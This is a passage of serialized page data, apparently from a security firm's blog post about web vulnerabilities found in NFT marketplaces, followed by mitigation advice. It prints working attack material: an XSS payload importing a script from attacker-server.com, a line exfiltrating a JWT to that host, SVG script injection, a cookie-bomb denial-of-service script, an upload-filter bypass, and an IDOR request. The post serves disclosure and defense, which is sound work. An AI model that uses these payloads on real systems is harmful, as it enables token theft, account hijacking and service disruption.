form123",{"type":23,"tag":75,"props":45122,"children":45123},{"style":209},[45124],{"type":29,"value":557},{"type":23,"tag":75,"props":45126,"children":45127},{"style":88},[45128],{"type":29,"value":45129},"submit",{"type":23,"tag":75,"props":45131,"children":45132},{"style":209},[45133],{"type":29,"value":3249},{"type":23,"tag":75,"props":45135,"children":45136},{"class":77,"line":3390},[45137,45141],{"type":23,"tag":75,"props":45138,"children":45139},{"style":82},[45140],{"type":29,"value":44335},{"type":23,"tag":75,"props":45142,"children":45143},{"style":94},[45144],{"type":29,"value":44340},{"type":23,"tag":75,"props":45146,"children":45147},{"class":77,"line":3423},[45148],{"type":23,"tag":75,"props":45149,"children":45150},{"emptyLinePlaceholder":15},[45151],{"type":29,"value":276},{"type":23,"tag":75,"props":45153,"children":45154},{"class":77,"line":3436},[45155,45159,45163],{"type":23,"tag":75,"props":45156,"children":45157},{"style":43569},[45158],{"type":29,"value":44037},{"type":23,"tag":75,"props":45160,"children":45161},{"style":82},[45162],{"type":29,"value":43609},{"type":23,"tag":75,"props":45164,"children":45165},{"style":43569},[45166],{"type":29,"value":17260},{"type":23,"tag":75,"props":45168,"children":45169},{"class":77,"line":3449},[45170,45174,45178],{"type":23,"tag":75,"props":45171,"children":45172},{"style":43569},[45173],{"type":29,"value":43623},{"type":23,"tag":75,"props":45175,"children":45176},{"style":82},[45177],{"type":29,"value":43576},{"type":23,"tag":75,"props":45179,"children":45180},{"style":43569},[45181],{"type":29,"value":17260},{"type":23,"tag":32,"props":45183,"children":45184},{},[45185],{"type":29,"value":45186},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":64,"props":45188,"children":45192},{"className":45189,"code":45190,"language":45191,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[45193],{"type":23,"tag":71,"props":45194,"children":45195},{"__ignoreMap":7},[45196,45203,45224,45245,45262],{"type":23,"tag":75,"props":45197,"children":45198},{"class":77,"line":78},[45199],{"type":23,"tag":75,"props":45200,"children":45201},{"style":94},[45202],{"type":29,"value":2549},{"type":23,"tag":75,"props":45204,"children":45205},{"class":77,"line":100},[45206,45211,45215,45220],{"type":23,"tag":75,"props":45207,"children":45208},{"style":110},[45209],{"type":29,"value":45210},"  \"address\"",{"type":23,"tag":75,"props":45212,"children":45213},{"style":94},[45214],{"type":29,"value":863},{"type":23,"tag":75,"props":45216,"children":45217},{"style":1266},[45218],{"type":29,"value":45219},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":75,"props":45221,"children":45222},{"style":94},[45223],{"type":29,"value":118},{"type":23,"tag":75,"props":45225,"children":45226},{"class":77,"line":121},[45227,45232,45236,45241],{"type":23,"tag":75,"props":45228,"children":45229},{"style":110},[45230],{"type":29,"value":45231},"  \"to\"",{"type":23,"tag":75,"props":45233,"children":45234},{"style":94},[45235],{"type":29,"value":863},{"type":23,"tag":75,"props":45237,"children":45238},{"style":1266},[45239],{"type":29,"value":45240},"\"profile-assets\"",{"type":23,"tag":75,"props":45242,"children":45243},{"style":94},[45244],{"type":29,"value":118},{"type":23,"tag":75,"props":45246,"children":45247},{"class":77,"line":138},[45248,45253,45257],{"type":23,"tag":75,"props":45249,"children":45250},{"style":110},[45251],{"type":29,"value":45252},"  \"type\"",{"type":23,"tag":75,"props":45254,"children":45255},{"style":94},[45256],{"type":29,"value":863},{"type":23,"tag":75,"props":45258,"children":45259},{"style":1266},[45260],{"type":29,"value":45261},"\"icon\"\n",{"type":23,"tag":75,"props":45263,"children":45264},{"class":77,"line":161},[45265],{"type":23,"tag":75,"props":45266,"children":45267},{"style":94},[45268],{"type":29,"value":369},{"type":23,"tag":32,"props":45270,"children":45271},{},[45272],{"type":29,"value":45273},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":23,"tag":64,"props":45275,"children":45277},{"className":42559,"code":45276,"language":42561,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[45278],{"type":23,"tag":71,"props":45279,"children":45280},{"__ignoreMap":7},[45281],{"type":23,"tag":75,"props":45282,"children":45283},{"class":77,"line":78},[45284,45289,45293,45298,45303,45308,45312,45317,45321,45326,45330,45335,45339],{"type":23,"tag":75,"props":45285,"children":45286},{"style":88},[45287],{"type":29,"value":45288},"fetch",{"type":23,"tag":75,"props":45290,"children":45291},{"style":94},[45292],{"type":29,"value":643},{"type":23,"tag":75,"props":45294,"children":45295},{"style":1266},[45296],{"type":29,"value":45297},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":75,"props":45299,"children":45300},{"style":82},[45301],{"type":29,"value":45302},"${",{"type":23,"tag":75,"props":45304,"children":45305},{"style":110},[45306],{"type":29,"value":45307},"localStorage",{"type":23,"tag":75,"props":45309,"children":45310},{"style":209},[45311],{"type":29,"value":557},{"type":23,"tag":75,"props":45313,"children":45314},{"style":88},[45315],{"type":29,"value":45316},"getItem",{"type":23,"tag":75,"props":45318,"children":45319},{"style":209},[45320],{"type":29,"value":643},{"type":23,"tag":75,"props":45322,"children":45323},{"style":1266},[45324],{"type":29,"value":45325},"'token'",{"type":23,"tag":75,"props":45327,"children":45328},{"style":209},[45329],{"type":29,"value":1347},{"type":23,"tag":75,"props":45331,"children":45332},{"style":82},[45333],{"type":29,"value":45334},"}",{"type":23,"tag":75,"props":45336,"children":45337},{"style":1266},[45338],{"type":29,"value":21630},{"type":23,"tag":75,"props":45340,"children":45341},{"style":94},[45342],{"type":29,"value":15099},{"type":23,"tag":923,"props":45344,"children":45346},{"id":45345},"svgs",[45347],{"type":29,"value":45348},"SVGs",{"type":23,"tag":32,"props":45350,"children":45351},{},[45352],{"type":29,"value":45353},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":32,"props":45355,"children":45356},{},[45357],{"type":29,"value":45358},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":64,"props":45360,"children":45362},{"className":42559,"code":45361,"language":42561,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[45363],{"type":23,"tag":71,"props":45364,"children":45365},{"__ignoreMap":7},[45366,45412,45449,45456,45486,45518,45546,45554,45570],{"type":23,"tag":75,"props":45367,"children":45368},{"class":77,"line":78},[45369,45374,45379,45384,45388,45393,45398,45402,45407],{"type":23,"tag":75,"props":45370,"children":45371},{"style":209},[45372],{"type":29,"value":45373},"\u003C?",{"type":23,"tag":75,"props":45375,"children":45376},{"style":110},[45377],{"type":29,"value":45378},"xml",{"type":23,"tag":75,"props":45380,"children":45381},{"style":110},[45382],{"type":29,"value":45383}," version",{"type":23,"tag":75,"props":45385,"children":45386},{"style":209},[45387],{"type":29,"value":212},{"type":23,"tag":75,"props":45389,"children":45390},{"style":1266},[45391],{"type":29,"value":45392},"\"1.0\"",{"type":23,"tag":75,"props":45394,"children":45395},{"style":110},[45396],{"type":29,"value":45397}," encoding",{"type":23,"tag":75,"props":45399,"children":45400},{"style":209},[45401],{"type":29,"value":212},{"type":23,"tag":75,"props":45403,"children":45404},{"style":1266},[45405],{"type":29,"value":45406},"\"UTF-8\"",{"type":23,"tag":75,"props":45408,"children":45409},{"style":209},[45410],{"type":29,"value":45411},"?>\n",{"type":23,"tag":75,"props":45413,"children":45414},{"class":77,"line":100},[45415,45420,45425,45430,45435,45440,45445],{"type":23,"tag":75,"props":45416,"children":45417},{"style":209},[45418],{"type":29,"value":45419},"\u003C!",{"type":23,"tag":75,"props":45421,"children":45422},{"style":110},[45423],{"type":29,"value":45424},"DOCTYPE",{"type":23,"tag":75,"props":45426,"children":45427},{"style":110},[45428],{"type":29,"value":45429}," svg",{"type":23,"tag":75,"props":45431,"children":45432},{"style":110},[45433],{"type":29,"value":45434}," PUBLIC",{"type":23,"tag":75,"props":45436,"children":45437},{"style":1266},[45438],{"type":29,"value":45439}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":75,"props":45441,"children":45442},{"style":1266},[45443],{"type":29,"value":45444}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":75,"props":45446,"children":45447},{"style":209},[45448],{"type":29,"value":17260},{"type":23,"tag":75,"props":45450,"children":45451},{"class":77,"line":121},[45452],{"type":23,"tag":75,"props":45453,"children":45454},{"emptyLinePlaceholder":15},[45455],{"type":29,"value":276},{"type":23,"tag":75,"props":45457,"children":45458},{"class":77,"line":138},[45459,45463,45468,45473,45477,45482],{"type":23,"tag":75,"props":45460,"children":45461},{"style":43569},[45462],{"type":29,"value":749},{"type":23,"tag":75,"props":45464,"children":45465},{"style":82},[45466],{"type":29,"value":45467},"svg",{"type":23,"tag":75,"props":45469,"children":45470},{"style":110},[45471],{"type":29,"value":45472}," xmlns",{"type":23,"tag":75,"props":45474,"children":45475},{"style":209},[45476],{"type":29,"value":212},{"type":23,"tag":75,"props":45478,"children":45479},{"style":1266},[45480],{"type":29,"value":45481},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":75,"props":45483,"children":45484},{"style":43569},[45485],{"type":29,"value":17260},{"type":23,"tag":75,"props":45487,"children":45488},{"class":77,"line":161},[45489,45493,45498,45502,45506,45510,45514],{"type":23,"tag":75,"props":45490,"children":45491},{"style":43569},[45492],{"type":29,"value":43588},{"type":23,"tag":75,"props":45494,"children":45495},{"style":82},[45496],{"type":29,"value":45497},"title",{"type":23,"tag":75,"props":45499,"children":45500},{"style":43569},[45501],{"type":29,"value":4652},{"type":23,"tag":75,"props":45503,"children":45504},{"style":94},[45505],{"type":29,"value":42433},{"type":23,"tag":75,"props":45507,"children":45508},{"style":43569},[45509],{"type":29,"value":43623},{"type":23,"tag":75,"props":45511,"children":45512},{"style":82},[45513],{"type":29,"value":45497},{"type":23,"tag":75,"props":45515,"children":45516},{"style":43569},[45517],{"type":29,"value":17260},{"type":23,"tag":75,"props":45519,"children":45520},{"class":77,"line":196},[45521,45525,45529,45533,45537,45542],{"type":23,"tag":75,"props":45522,"children":45523},{"style":43569},[45524],{"type":29,"value":43588},{"type":23,"tag":75,"props":45526,"children":45527},{"style":82},[45528],{"type":29,"value":43609},{"type":23,"tag":75,"props":45530,"children":45531},{"style":110},[45532],{"type":29,"value":43734},{"type":23,"tag":75,"props":45534,"children":45535},{"style":209},[45536],{"type":29,"value":212},{"type":23,"tag":75,"props":45538,"children":45539},{"style":1266},[45540],{"type":29,"value":45541},"\"text/javascript\"",{"type":23,"tag":75,"props":45543,"children":45544},{"style":43569},[45545],{"type":29,"value":17260},{"type":23,"tag":75,"props":45547,"children":45548},{"class":77,"line":220},[45549],{"type":23,"tag":75,"props":45550,"children":45551},{"style":94},[45552],{"type":29,"value":45553},"   alert(document.domain);\n",{"type":23,"tag":75,"props":45555,"children":45556},{"class":77,"line":248},[45557,45562,45566],{"type":23,"tag":75,"props":45558,"children":45559},{"style":43569},[45560],{"type":29,"value":45561},"   \u003C/",{"type":23,"tag":75,"props":45563,"children":45564},{"style":82},[45565],{"type":29,"value":43609},{"type":23,"tag":75,"props":45567,"children":45568},{"style":43569},[45569],{"type":29,"value":17260},{"type":23,"tag":75,"props":45571,"children":45572},{"class":77,"line":270},[45573,45578,45582],{"type":23,"tag":75,"props":45574,"children":45575},{"style":43569},[45576],{"type":29,"value":45577}," \u003C/",{"type":23,"tag":75,"props":45579,"children":45580},{"style":82},[45581],{"type":29,"value":45467},{"type":23,"tag":75,"props":45583,"children":45584},{"style":43569},[45585],{"type":29,"value":17260},{"type":23,"tag":32,"props":45587,"children":45588},{},[45589,45591,45598],{"type":29,"value":45590},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":940,"props":45592,"children":45595},{"href":45593,"rel":45594},"https://xtingles.com/",[944],[45596],{"type":29,"value":45597},"xtingles Marketplace",{"type":29,"value":557},{"type":23,"tag":32,"props":45600,"children":45601},{},[45602],{"type":29,"value":45603},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":32,"props":45605,"children":45606},{},[45607],{"type":29,"value":45608},"Below, we show you how we did it.",{"type":23,"tag":32,"props":45610,"children":45611},{},[45612],{"type":29,"value":45613},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":32,"props":45615,"children":45616},{},[45617],{"type":23,"tag":15189,"props":45618,"children":45620},{"alt":7,"src":45619},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":32,"props":45622,"children":45623},{},[45624],{"type":29,"value":45625},"After changing the extension inside the file name.",{"type":23,"tag":32,"props":45627,"children":45628},{},[45629],{"type":23,"tag":15189,"props":45630,"children":45632},{"alt":7,"src":45631},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":923,"props":45634,"children":45636},{"id":45635},"svgs-return",[45637],{"type":29,"value":45638},"SVGs Return",{"type":23,"tag":32,"props":45640,"children":45641},{},[45642],{"type":29,"value":45643},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":32,"props":45645,"children":45646},{},[45647],{"type":29,"value":45648},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":32,"props":45650,"children":45651},{},[45652],{"type":29,"value":45653},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":64,"props":45655,"children":45659},{"className":45656,"code":45657,"language":45658,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[45660],{"type":23,"tag":71,"props":45661,"children":45662},{"__ignoreMap":7},[45663,45702,45733,45740,45767,45798,45825,45833,45841,45848,45860,45935,45943,45958],{"type":23,"tag":75,"props":45664,"children":45665},{"class":77,"line":78},[45666,45670,45674,45678,45682,45686,45690,45694,45698],{"type":23,"tag":75,"props":45667,"children":45668},{"style":209},[45669],{"type":29,"value":45373},{"type":23,"tag":75,"props":45671,"children":45672},{"style":110},[45673],{"type":29,"value":45378},{"type":23,"tag":75,"props":45675,"children":45676},{"style":110},[45677],{"type":29,"value":45383},{"type":23,"tag":75,"props":45679,"children":45680},{"style":209},[45681],{"type":29,"value":212},{"type":23,"tag":75,"props":45683,"children":45684},{"style":1266},[45685],{"type":29,"value":45392},{"type":23,"tag":75,"props":45687,"children":45688},{"style":110},[45689],{"type":29,"value":45397},{"type":23,"tag":75,"props":45691,"children":45692},{"style":209},[45693],{"type":29,"value":212},{"type":23,"tag":75,"props":45695,"children":45696},{"style":1266},[45697],{"type":29,"value":45406},{"type":23,"tag":75,"props":45699,"children":45700},{"style":209},[45701],{"type":29,"value":45411},{"type":23,"tag":75,"props":45703,"children":45704},{"class":77,"line":100},[45705,45709,45713,45717,45721,45725,45729],{"type":23,"tag":75,"props":45706,"children":45707},{"style":209},[45708],{"type":29,"value":45419},{"type":23,"tag":75,"props":45710,"children":45711},{"style":110},[45712],{"type":29,"value":45424},{"type":23,"tag":75,"props":45714,"children":45715},{"style":110},[45716],{"type":29,"value":45429},{"type":23,"tag":75,"props":45718,"children":45719},{"style":110},[45720],{"type":29,"value":45434},{"type":23,"tag":75,"props":45722,"children":45723},{"style":1266},[45724],{"type":29,"value":45439},{"type":23,"tag":75,"props":45726,"children":45727},{"style":1266},[45728],{"type":29,"value":45444},{"type":23,"tag":75,"props":45730,"children":45731},{"style":209},[45732],{"type":29,"value":17260},{"type":23,"tag":75,"props":45734,"children":45735},{"class":77,"line":121},[45736],{"type":23,"tag":75,"props":45737,"children":45738},{"emptyLinePlaceholder":15},[45739],{"type":29,"value":276},{"type":23,"tag":75,"props":45741,"children":45742},{"class":77,"line":138},[45743,45747,45751,45755,45759,45763],{"type":23,"tag":75,"props":45744,"children":45745},{"style":43569},[45746],{"type":29,"value":749},{"type":23,"tag":75,"props":45748,"children":45749},{"style":82},[45750],{"type":29,"value":45467},{"type":23,"tag":75,"props":45752,"children":45753},{"style":110},[45754],{"type":29,"value":45472},{"type":23,"tag":75,"props":45756,"children":45757},{"style":209},[45758],{"type":29,"value":212},{"type":23,"tag":75,"props":45760,"children":45761},{"style":1266},[45762],{"type":29,"value":45481},{"type":23,"tag":75,"props":45764,"children":45765},{"style":43569},[45766],{"type":29,"value":17260},{"type":23,"tag":75,"props":45768,"children":45769},{"class":77,"line":161},[45770,45774,45778,45782,45786,45790,45794],{"type":23,"tag":75,"props":45771,"children":45772},{"style":43569},[45773],{"type":29,"value":43588},{"type":23,"tag":75,"props":45775,"children":45776},{"style":82},[45777],{"type":29,"value":45497},{"type":23,"tag":75,"props":45779,"children":45780},{"style":43569},[45781],{"type":29,"value":4652},{"type":23,"tag":75,"props":45783,"children":45784},{"style":94},[45785],{"type":29,"value":42433},{"type":23,"tag":75,"props":45787,"children":45788},{"style":43569},[45789],{"type":29,"value":43623},{"type":23,"tag":75,"props":45791,"children":45792},{"style":82},[45793],{"type":29,"value":45497},{"type":23,"tag":75,"props":45795,"children":45796},{"style":43569},[45797],{"type":29,"value":17260},{"type":23,"tag":75,"props":45799,"children":45800},{"class":77,"line":196},[45801,45805,45809,45813,45817,45821],{"type":23,"tag":75,"props":45802,"children":45803},{"style":43569},[45804],{"type":29,"value":43588},{"type":23,"tag":75,"props":45806,"children":45807},{"style":82},[45808],{"type":29,"value":43609},{"type":23,"tag":75,"props":45810,"children":45811},{"style":110},[45812],{"type":29,"value":43734},{"type":23,"tag":75,"props":45814,"children":45815},{"style":209},[45816],{"type":29,"value":212},{"type":23,"tag":75,"props":45818,"children":45819},{"style":1266},[45820],{"type":29,"value":45541},{"type":23,"tag":75,"props":45822,"children":45823},{"style":43569},[45824],{"type":29,"value":17260},{"type":23,"tag":75,"props":45826,"children":45827},{"class":77,"line":220},[45828],{"type":23,"tag":75,"props":45829,"children":45830},{"style":94},[45831],{"type":29,"value":45832},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":75,"props":45834,"children":45835},{"class":77,"line":248},[45836],{"type":23,"tag":75,"props":45837,"children":45838},{"style":94},[45839],{"type":29,"value":45840},"   var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":75,"props":45842,"children":45843},{"class":77,"line":270},[45844],{"type":23,"tag":75,"props":45845,"children":45846},{"emptyLinePlaceholder":15},[45847],{"type":29,"value":276},{"type":23,"tag":75,"props":45849,"children":45850},{"class":77,"line":279},[45851,45856],{"type":23,"tag":75,"props":45852,"children":45853},{"style":94},[45854],{"type":29,"value":45855},"   for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":75,"props":45857,"children":45858},{"style":82},[45859],{"type":29,"value":2549},{"type":23,"tag":75,"props":45861,"children":45862},{"class":77,"line":303},[45863,45868,45872,45877,45881,45886,45891,45895,45899,45904,45908,45913,45917,45922,45926,45931],{"type":23,"tag":75,"props":45864,"children":45865},{"style":110},[45866],{"type":29,"value":45867},"    document",{"type":23,"tag":75,"props":45869,"children":45870},{"style":209},[45871],{"type":29,"value":557},{"type":23,"tag":75,"props":45873,"children":45874},{"style":110},[45875],{"type":29,"value":45876},"cookie",{"type":23,"tag":75,"props":45878,"children":45879},{"style":209},[45880],{"type":29,"value":44104},{"type":23,"tag":75,"props":45882,"children":45883},{"style":1266},[45884],{"type":29,"value":45885},"'Cookie'",{"type":23,"tag":75,"props":45887,"children":45888},{"style":209},[45889],{"type":29,"value":45890}," + ",{"type":23,"tag":75,"props":45892,"children":45893},{"style":110},[45894],{"type":29,"value":12935},{"type":23,"tag":75,"props":45896,"children":45897},{"style":209},[45898],{"type":29,"value":45890},{"type":23,"tag":75,"props":45900,"children":45901},{"style":1266},[45902],{"type":29,"value":45903},"'='",{"type":23,"tag":75,"props":45905,"children":45906},{"style":209},[45907],{"type":29,"value":45890},{"type":23,"tag":75,"props":45909,"children":45910},{"style":110},[45911],{"type":29,"value":45912},"Set_Cookie",{"type":23,"tag":75,"props":45914,"children":45915},{"style":209},[45916],{"type":29,"value":45890},{"type":23,"tag":75,"props":45918,"children":45919},{"style":1266},[45920],{"type":29,"value":45921},"';Domain='",{"type":23,"tag":75,"props":45923,"children":45924},{"style":209},[45925],{"type":29,"value":45890},{"type":23,"tag":75,"props":45927,"children":45928},{"style":110},[45929],{"type":29,"value":45930},"Take_Domain",{"type":23,"tag":75,"props":45932,"children":45933},{"style":209},[45934],{"type":29,"value":245},{"type":23,"tag":75,"props":45936,"children":45937},{"class":77,"line":322},[45938],{"type":23,"tag":75,"props":45939,"children":45940},{"style":82},[45941],{"type":29,"value":45942},"   }\n",{"type":23,"tag":75,"props":45944,"children":45945},{"class":77,"line":340},[45946,45950,45954],{"type":23,"tag":75,"props":45947,"children":45948},{"style":43569},[45949],{"type":29,"value":45561},{"type":23,"tag":75,"props":45951,"children":45952},{"style":82},[45953],{"type":29,"value":43609},{"type":23,"tag":75,"props":45955,"children":45956},{"style":43569},[45957],{"type":29,"value":17260},{"type":23,"tag":75,"props":45959,"children":45960},{"class":77,"line":349},[45961,45965,45969],{"type":23,"tag":75,"props":45962,"children":45963},{"style":43569},[45964],{"type":29,"value":45577},{"type":23,"tag":75,"props":45966,"children":45967},{"style":82},[45968],{"type":29,"value":45467},{"type":23,"tag":75,"props":45970,"children":45971},{"style":43569},[45972],{"type":29,"value":17260},{"type":23,"tag":32,"props":45974,"children":45975},{},[45976],{"type":29,"value":45977},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":24,"props":45979,"children":45981},{"id":45980},"authentication",[45982],{"type":29,"value":45983},"Authentication",{"type":23,"tag":32,"props":45985,"children":45986},{},[45987],{"type":23,"tag":9690,"props":45988,"children":45989},{},[45990,45992,45999],{"type":29,"value":45991},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":940,"props":45993,"children":45996},{"href":45994,"rel":45995},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[944],[45997],{"type":29,"value":45998},"great misfortune has occured",{"type":29,"value":557},{"type":23,"tag":923,"props":46001,"children":46003},{"id":46002},"verification-token-leakage",[46004],{"type":29,"value":46005},"Verification Token Leakage",{"type":23,"tag":32,"props":46007,"children":46008},{},[46009],{"type":29,"value":46010},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":32,"props":46012,"children":46013},{},[46014],{"type":29,"value":46015},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":32,"props":46017,"children":46018},{},[46019,46024],{"type":23,"tag":9690,"props":46020,"children":46021},{},[46022],{"type":29,"value":46023},"Proof of Concept",{"type":29,"value":46025},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":32,"props":46027,"children":46028},{},[46029],{"type":29,"value":46030},"Here's the breakdown.",{"type":23,"tag":32,"props":46032,"children":46033},{},[46034],{"type":29,"value":46035},"First, we send the verification link to a user's email:",{"type":23,"tag":42542,"props":46037,"children":46038},{"style":42544},[46039],{"type":23,"tag":15189,"props":46040,"children":46044},{"src":46041,"alt":46042,"style":46043},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":32,"props":46046,"children":46047},{},[46048],{"type":29,"value":46049},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":923,"props":46051,"children":46053},{"id":46052},"idor",[46054],{"type":29,"value":46055},"IDOR",{"type":23,"tag":32,"props":46057,"children":46058},{},[46059],{"type":23,"tag":9690,"props":46060,"children":46061},{},[46062,46064,46071],{"type":29,"value":46063},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":940,"props":46065,"children":46068},{"href":46066,"rel":46067},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[944],[46069],{"type":29,"value":46070},"insect",{"type":29,"value":557},{"type":23,"tag":32,"props":46073,"children":46074},{},[46075,46077,46083],{"type":29,"value":46076},"During a security assessment of the ",{"type":23,"tag":940,"props":46078,"children":46081},{"href":46079,"rel":46080},"https://rocki.com",[944],[46082],{"type":29,"value":42480},{"type":29,"value":46084},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":32,"props":46086,"children":46087},{},[46088],{"type":29,"value":46089},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":32,"props":46091,"children":46092},{},[46093],{"type":29,"value":46094},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":32,"props":46096,"children":46097},{},[46098,46100,46106,46108,46113],{"type":29,"value":46099},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":71,"props":46101,"children":46103},{"className":46102},[],[46104],{"type":29,"value":46105},"https://evil.com/",{"type":29,"value":46107},". To achieve this, we simply changed the ",{"type":23,"tag":71,"props":46109,"children":46111},{"className":46110},[],[46112],{"type":29,"value":14761},{"type":29,"value":46114}," field value to one that belongs to another user:",{"type":23,"tag":32,"props":46116,"children":46117},{},[46118],{"type":23,"tag":15189,"props":46119,"children":46121},{"alt":7,"src":46120},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":32,"props":46123,"children":46124},{},[46125],{"type":29,"value":46126},"The following screenshot is the response to our request:",{"type":23,"tag":32,"props":46128,"children":46129},{},[46130],{"type":23,"tag":15189,"props":46131,"children":46133},{"alt":7,"src":46132},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":24,"props":46135,"children":46137},{"id":46136},"preventative-action-steps-for-marketplaces",[46138],{"type":23,"tag":16596,"props":46139,"children":46140},{},[46141],{"type":29,"value":46142},"Preventative Action Steps for Marketplaces",{"type":23,"tag":32,"props":46144,"children":46145},{},[46146],{"type":29,"value":46147},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":32,"props":46149,"children":46150},{},[46151,46153,46159,46161,46167],{"type":29,"value":46152},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":71,"props":46154,"children":46156},{"className":46155},[],[46157],{"type":29,"value":46158},"innerText",{"type":29,"value":46160}," instead of ",{"type":23,"tag":71,"props":46162,"children":46164},{"className":46163},[],[46165],{"type":29,"value":46166},"innerHTML",{"type":29,"value":46168}," in client-side:",{"type":23,"tag":64,"props":46170,"children":46172},{"className":42559,"code":46171,"language":42561,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[46173],{"type":23,"tag":71,"props":46174,"children":46175},{"__ignoreMap":7},[46176],{"type":23,"tag":75,"props":46177,"children":46178},{"class":77,"line":78},[46179,46183,46187,46192,46196,46201,46205,46209,46213,46218],{"type":23,"tag":75,"props":46180,"children":46181},{"style":110},[46182],{"type":29,"value":43901},{"type":23,"tag":75,"props":46184,"children":46185},{"style":94},[46186],{"type":29,"value":557},{"type":23,"tag":75,"props":46188,"children":46189},{"style":88},[46190],{"type":29,"value":46191},"getElementById",{"type":23,"tag":75,"props":46193,"children":46194},{"style":94},[46195],{"type":29,"value":643},{"type":23,"tag":75,"props":46197,"children":46198},{"style":1266},[46199],{"type":29,"value":46200},"'nftCollectionName'",{"type":23,"tag":75,"props":46202,"children":46203},{"style":94},[46204],{"type":29,"value":31960},{"type":23,"tag":75,"props":46206,"children":46207},{"style":110},[46208],{"type":29,"value":46158},{"type":23,"tag":75,"props":46210,"children":46211},{"style":209},[46212],{"type":2